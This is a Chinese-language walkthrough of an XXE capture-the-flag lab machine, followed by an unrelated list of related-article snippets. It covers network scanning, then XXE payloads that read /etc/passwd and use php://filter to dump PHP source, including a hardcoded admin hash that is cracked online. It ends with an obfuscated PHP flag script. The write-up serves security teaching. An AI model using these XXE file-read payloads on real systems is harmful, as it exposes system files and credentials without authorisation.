XXE靶机教学
arp-scan -l主机发现
arp-scan -l
端口扫描
nmap -p- 192.168.48.139
服务探测
nmap -p80,5355 -sT -sC -sV 192.168.48.139
目录扫描
dirsearch -u http://192.168.48.139
访问robots.txt
发现两个可访问路径
burp抓包
测试是否存在xxe漏洞
<?xml version = "1.0"?>
<!DOCTYPE a [<!ENTITY b "xxe">]>
<c>&b;</c>
存在
漏洞利用
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [<!ENTITY b SYSTEM "file:///etc/passwd"> ]>
<root><name>&b;</name><password>123</password></root>
administrator用户名叫root
尝试读取/etc/passwd密码进行暴力破解，发现没权限
无权限
尝试获取xxe.php源码
<!DOCTYPE a [<!ENTITY b SYSTEM "php://filter/read=convert.base64-
encode/resource=xxe.php">]>
base64解码
<?php
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$info = simplexml_import_dom($dom);
$name = $info->name;
$password = $info->password;echo "Sorry, this $name not available!";
?>难以被暴力破解因为
此代码片段难以通过暴力破解的主要原因是它不涉及身份验证机制或基于输入的敏感信息泄露。虽然它容易受到 XXE 攻击，但利用此类漏洞通常需要精确制作 XML 负载，而不是暴力破解方法。此外，输出仅限于特定格式，对攻击者来说几乎没有有用的反馈。
爆破/robots.txt里的admin.php文件
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [<!ENTITY b SYSTEM "php://filter/read=convert.base64-
encode/resource=admin.php">]>
<root><name>&b;</name><password>asdadsad</password></root>base64解析admin.php源码
<?phpsession_start();
?><html lang = "en"><head><title>admin</title><link href = "css/bootstrap.min.css" rel = "stylesheet"><style>body {padding-top: 40px;padding-bottom: 40px;background-color: #ADABAB;}.form-signin {max-width: 330px;padding: 15px;margin: 0 auto;color: #017572;}.form-signin .form-signin-heading,.form-signin .checkbox {margin-bottom: 10px;}.form-signin .checkbox {font-weight: normal;}.form-signin .form-control {position: relative;height: auto;-webkit-box-sizing: border-box;-moz-box-sizing: border-box;box-sizing: border-box;padding: 10px;font-size: 16px;}.form-signin .form-control:focus {z-index: 2;}.form-signin input[type="email"] {margin-bottom: -1px;border-bottom-right-radius: 0;border-bottom-left-radius: 0;border-color:#017572;}.form-signin input[type="password"] {margin-bottom: 10px;border-top-left-radius: 0;border-top-right-radius: 0;border-color:#017572;}h2{text-align: center;color: #017572;}</style></head><body><h2>Enter Username and Password</h2> <div class = "container form-signin"><?php$msg = '';if (isset($_POST['login']) && !empty($_POST['username']) && !empty($_POST['password'])) {if ($_POST['username'] == 'administhebest' && md5($_POST['password']) == 'e6e061838856bf47e1de730719fb2609') {$_SESSION['valid'] = true;$_SESSION['timeout'] = time();$_SESSION['username'] = 'administhebest';echo "You have entered valid use name and password <br />";$flag = "Here is the <a style='color:FF0000;' href='/flagmeout.php'>Flag</a>";echo $flag;}else {$msg = 'Maybe Later';}}?></div> <!-- W00t/W00t --><div class = "container"><form class = "form-signin" role = "form" action = "<?php echo htmlspecialchars($_SERVER['PHP_SELF']); ?>" method = "post"><h4 class = "form-signin-heading"><?php echo $msg; ?></h4><input type = "text" class = "form-control" name = "username" required autofocus></br><input type = "password" class = "form-control"name = "password" required><button class = "btn btn-lg btn-primary btn-block" type = "submit" name = "login">Login</button></form>Click here to clean <a href = "adminlog.php" tite = "Logout">Session.</div> </body>
</html>尝试用MD5解码
https://www.cmd5.com/
访问admin.php
http://192.168.48.139/xxe/admin.php
flag
http://192.168.0.212/xxe/flagmeout.php方法一
查看页面源码
方法二
读取源文件
<?php
$flag = "<!-- the flag in (JQZFMMCZPE4HKWTNPBUFU6JVO5QUQQJ5) -->";
echo $flag;
?>解码
<!DOCTYPE a
[<!ENTITY b SYSTEM
"php://filter/read=convert.base64-encode/resource=/etc/.flag.php">]>
$_[]++;$_[]=$_._;$_____=$_[(++$__[])][(++$__[])+(++$__[])+(++$__[])];$_=$_[$_[+_]];$___=$__=$_[++$__[]];$____=$_=$_[+_];$_++;$_++;$_++;$_=$____.++$___.$___.++$_.$__.++$___;$__=$_;$_=$_____;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$___=+_;$___.=$__;$___=++$_^$___[+_];$À=+_;$Á=$Â=$Ã=$Ä=$Æ=$È=$É=$Ê=$Ë=++$Á[];$Â++;$Ã++;$Ã++;$Ä++;$Ä++;$Ä++;$Æ++;$Æ++;$Æ++;$Æ++;$È++;$È++;$È++;$È++;$È++;$É++;$É++;$É++;$É++;$É++;$É++;$Ê++;$Ê++;$Ê++;$Ê++;$Ê++;$Ê++;$Ê++;$Ë++;$Ë++;$Ë++;$Ë++;$Ë++;$Ë++;$Ë++;$__('$_="'.$___.$Á.$Â.$Ã.$___.$Á.$À.$Á.$___.$Á.$À.$È.$___.$Á.$À.$Ã.$___.$Á.$Â.$Ã.$___.$Á.$Â.$À.$___.$Á.$É.$Ã.$___.$Á.$É.$À.$___.$Á.$É.$À.$___.$Á.$Ä.$Æ.$___.$Á.$Ã.$É.$___.$Á.$Æ.$Á.$___.$Á.$È.$Ã.$___.$Á.$Ã.$É.$___.$Á.$È.$Ã.$___.$Á.$Æ.$É.$___.$Á.$Ã.$É.$___.$Á.$Ä.$Æ.$___.$Á.$Ä.$Á.$___.$Á.$È.$Ã.$___.$Á.$É.$Á.$___.$Á.$É.$Æ.'"');$__($_);
以php运行
加上<?php
使用php运行它
相关文章：
XXE靶机教学
arp-scan -l主机发现 arp-scan -l 端口扫描 nmap -p- 192.168.48.139 服务探测 nmap -p80,5355 -sT -sC -sV 192.168.48.139 目录扫描 dirsearch -u http://192.168.48.139 访问robots.txt 发现两个可访问路径 burp抓包 测试是否存在xxe漏洞 <?xml version "1.…...
干货 | 2024步入数字化转型深水区，云原生业务稳定性如何保障（免费下载）
云原生业务的稳定性保障是一个涉及多个层面的复杂任务，以下是一些关键措施和策略，以确保云原生业务的高效稳定运行： 一、平台安全性评估与加固 云原生平台安全评估：对云原生平台（如Kubernetes、Docker等）…...
,std::vector＜int＞ numbers 和std::int numbers[],.size()和.sizeof()区别)
for(char c:s),std::vector＜int＞ numbers 和std::int numbers[],.size()和.sizeof()区别
在C中当需要对某个容器或数组进行遍历时我们可以使用以下语句，c将会被赋值为s中的元素 for(char c:s)://s可以是任何满足条件的容器或数组for(int c:s):for(double c:s):for(float c:s):在C中我们来区分std::vector numbers {1, 2, 3, 4, 5};和std::int numbers[] …...
桌面云备份可以删除吗？安不安全
桌面云备份可以删除吗？答案是可以的。如果用户不需要这些备份或者想要释放存储空间，桌面云备份是可以进行删除的，并且删除桌面云备份是一个相对安全的过程，但需要注意以下几点来确保操作的安全性和数据的完整性。 一、桌面云备份…...
【爬虫实战】利用代理爬取电商数据
文章目录 前言工具介绍实战获取网站数据编写代码数据展示 推荐总结 前言 当今电商平台正经历着快速的转型与升级。随着技术的进步和用户需求的多样化，电商不仅从简单的在线购物演变为综合性的购物生态系统，还融合了人工智能、大数据和云计算等先进技术。…...
python如何统计列表中元素出现的次数
在 Python 中，可以使用多种方法来统计列表中元素出现的次数。以下是一些常用的方法： 方法 1: 使用 count() 方法 list 对象有一个内置的 count() 方法，可以直接统计某个元素在列表中出现的次数。 my_list [1, 2, 3, 2, 1, 4, 2] count_of…...
【算法】山脉数组的峰顶索引
难度：中等 题目描述： 给定一个长度为 n 的整数 山脉 数组 arr ，其中的值递增到一个 峰值元素 然后递减。 返回峰值元素的下标。 你必须设计并实现时间复杂度为 O(log(n)) 的解决方案。 示例 1： 输入：arr [0,1,0]…...
牛客 JZ31.栈的压入，弹出序列 C++写法
牛客 JZ31.栈的压入，弹出序列 C写法 思路🤔： 创建一个栈，push压入序列，然后用栈顶跟弹出序列比，如果一样就出栈并且继续比较，不一样就再次push入栈，直到压入序列走完，如果…...
PageHelper在Mybatis的一对多表关联时total数错误
最近在学习PageHelper遇到一个bug记录一下： 在Mybatis的一对多表中，PageHelper获取的total是所有的记录数，而不是我想要的第一次sql的记录数。 解决方案1： 不要在mapper层获取一对多关联，在service层先获取一&#…...
（20240806）硫氧镁 / 碱式硫酸镁-混凝土
一、目录 一篇博士论文，5篇硕士论文，南京航空航天大学双一流211，60。余红发团队 具体涉及到 （1） 碱式硫酸镁水泥的混凝土应用 、（一篇博士论文） 有微观分析 （2）混…...
string类的模拟实现(C++)
一、前言 想要模拟实现一个库中的类，那就要首先要熟悉如何使用这个类。建议通过下面博客，完成对Cstring类的学习。 C的string类-CSDN博客 二、模拟实现 我们将从string的成员函数即成员变量入手，模拟实现string类。 成员变量 string类的…...
C++_sizeof的相关知识点
1.指针的大小永远是固定的，取决于处理器位数，32位就是 4 字节，64位就是 8 字节 2.数组作为函数参数时会退化为指针，大小要按指针的计算 int func(char array[]) {printf("sizeof%d\n", sizeof(array));printf("s…...
Istio Proxy的Envoy代理架构中，Upstream提供的功能是：
Istio Proxy的Envoy代理架构中，Upstream提供的功能是： A. 接收来自Envoy连接和请求的主机，并返回响应 B. 连接的一组逻辑相同的上游主机 C. 将下游主机连接到Envoy的主机，用来发送请求并接受响应 选择A Istio Proxy的Envoy代理架…...
LeetCode 热题 HOT 100 （015/100）【宇宙最简单版】
【栈】No. 0155 最小栈【中等】👉力扣对应题目指路 希望对你有帮助呀！！💜💜 如有更好理解的思路，欢迎大家留言补充 ~ 一起加油叭 💦 欢迎关注、订阅专栏 【力扣详解】谢谢你的支持！ …...
【HarmonyOS】鸿蒙应用实现截屏
【HarmonyOS】鸿蒙应用实现截屏 组件截屏 通过componentSnapshot的get函数，将需要截图的组件设置id传进去即可。 import { componentSnapshot } from kit.ArkUI; import { image } from kit.ImageKit;/*** 截图*/ Entry Component Preview struct SnapShotPage {S…...
Conda包依赖侦探：conda inspect命令全解析
Conda包依赖侦探：conda inspect命令全解析 在Conda环境中，管理包及其依赖关系是一项重要任务。conda inspect命令是一个强大的工具，它可以提供包的详细信息，包括依赖关系、链接、版本等。这对于诊断环境问题、理解包的依赖结构以…...
数模——灰色关联分析算法
提示：文章写完后，目录可以自动生成，如何生成可参考右边的帮助文档 目录 文章目录 前言 一、基本概念了解 1.什么是灰色系统？ 2.什么是关联分析？ 二、模型原理 三、建模过程 1.找母序列（参考序列&am…...
Python爬虫技术 第27节 API和RESTful服务
Python 爬虫技术是一种自动化获取网页内容的方法，通常用于数据收集、信息抽取或自动化测试。在讲解 Python 爬虫技术时，我们通常会涉及到以下几个关键概念： HTTP 请求：爬虫通过发送 HTTP 请求来获取网页内容，这是爬虫与…...
音视频入门基础：WAV专题（4）——FFmpeg源码中获取WAV文件音频压缩编码格式、采样频率、声道数量、采样位数、码率的实现
音视频入门基础：WAV专题系列文章： 音视频入门基础：WAV专题（1）——使用FFmpeg命令生成WAV音频文件 音视频入门基础：WAV专题（2）——WAV格式简介 音视频入门基础：WAV专题…...
环境变量在Conda中的魔法：控制包安装的秘诀
环境变量在Conda中的魔法：控制包安装的秘诀 Conda不仅是Python和其他语言包的包管理器，它还是一个强大的环境管理器。在使用Conda时，环境变量可以极大地增强其功能，允许用户控制包的安装过程，实现定制化的安装策略。本…...
Mybatis 中 Dao 接口（Mapper 接口）的工作原理与重载问题详解
Mybatis 中 Dao 接口（Mapper 接口）的工作原理与重载问题详解 在 Mybatis 开发中，我们通常会为每一个 XML 映射文件编写一个对应的 Dao 接口（又称 Mapper 接口）。很多初学者会好奇：这个接口并没有实现类&…...
【系统架构师-案例题-建模分析】21年下（4）预约挂号管理系统 UML 建模案例分析
文章目录题目【问题1】(6分)【问题2】(10分)【问题3】(9分)答案与解答【问题1】答案解答【问题2】答案顺序图与协作图的区别解答【问题3】答案1. 三种模型的定义2. 三种模型的关联关系3. 需求分析阶段的适用性解答题目 某医院拟委托软件公司开发一套预约挂号管理系统ÿ…...
3步快速上手植物大战僵尸修改器：PvZ Toolkit实战指南
3步快速上手植物大战僵尸修改器：PvZ Toolkit实战指南 【免费下载链接】pvztoolkit 植物大战僵尸 PC 版综合修改器 项目地址: https://gitcode.com/gh_mirrors/pv/pvztoolkit 你是否曾经在植物大战僵尸游戏中卡关，或者想要尝试不同的游戏策略却受限…...
编写程序实现智能户外帐篷湿检测，内部结露时，提示“通风除湿”。
智能户外帐篷湿度检测系统：从原理到实现一、实际应用场景描述在户外露营场景中，帐篷内部湿度受外界环境（如雨天、清晨露水）和人体活动（呼吸、汗液蒸发）影响显著。当帐篷内湿度超过70%时，空气中的…...
畜牧检测站综合监测系统设计与实现（有完整资料）
资料查找方式：特纳斯电子（电子校园网）：搜索下面编号即可编号：T0542309M设计简介：本设计是基于单片机的畜牧检测站综合监测系统设计，主要实现以下功能：通过温湿度传感器检测温湿度 通…...
技术速递｜GitHub 初学者指南：GitHub 安全入门
作者：Kedasha Kerr排版：Alan Wang学习如何使用 GitHub Advanced Security 保护你的项目，并确保它们的安全性。欢迎回到《GitHub 初学者指南》第三季！到目前为止，今年我们已经介绍了 GitHub Issues 和 Projects…...
别再瞎选 B2B2C 开源商城了！实测对比 Tigshop /ShopXO/Likeshop/Niushop/BeikeShop
作为一名折腾过不少开源电商项目的程序员，我深知一个道理：选择电商系统这事儿，选对了皆大欢喜，选错了就是无底洞。技术栈老旧的、文档缺东少西的、号称“免费”结果到处埋坑的，这些年我都踩过一遍。最近因为项目需要调…...
日期字段不连续，还能正确计算同环比吗？
——PowerBI、Datafor、FineBI三大平台专业对比分析 数据分析在企业经营、决策制定中扮演着越来越核心的角色。环比、同比是数据分析中最常见的两个指标，能清晰表现业务的发展趋势。然而，现实业务数据中，日期字段不连续（如自然日…...
FreakStudio瓢
环境安装 pip install keystone-engine capstone unicorn 这3个工具用法极其简单，下面通过示例来演示其用法。 Keystone 示例 from keystone import * CODE b"INC ECX; ADD EDX, ECX" try:ks Ks(KS_ARCH_X86, KS_MODE_64)encoding, count ks.asm(CODE)…...
Bilibili-Evolved：重新定义你的B站浏览体验
Bilibili-Evolved：重新定义你的B站浏览体验 【免费下载链接】Bilibili-Evolved 强大的哔哩哔哩增强脚本 项目地址: https://gitcode.com/gh_mirrors/bi/Bilibili-Evolved 你是否曾想过，为什么每次打开B站都要面对千篇一律的界面？为什么…...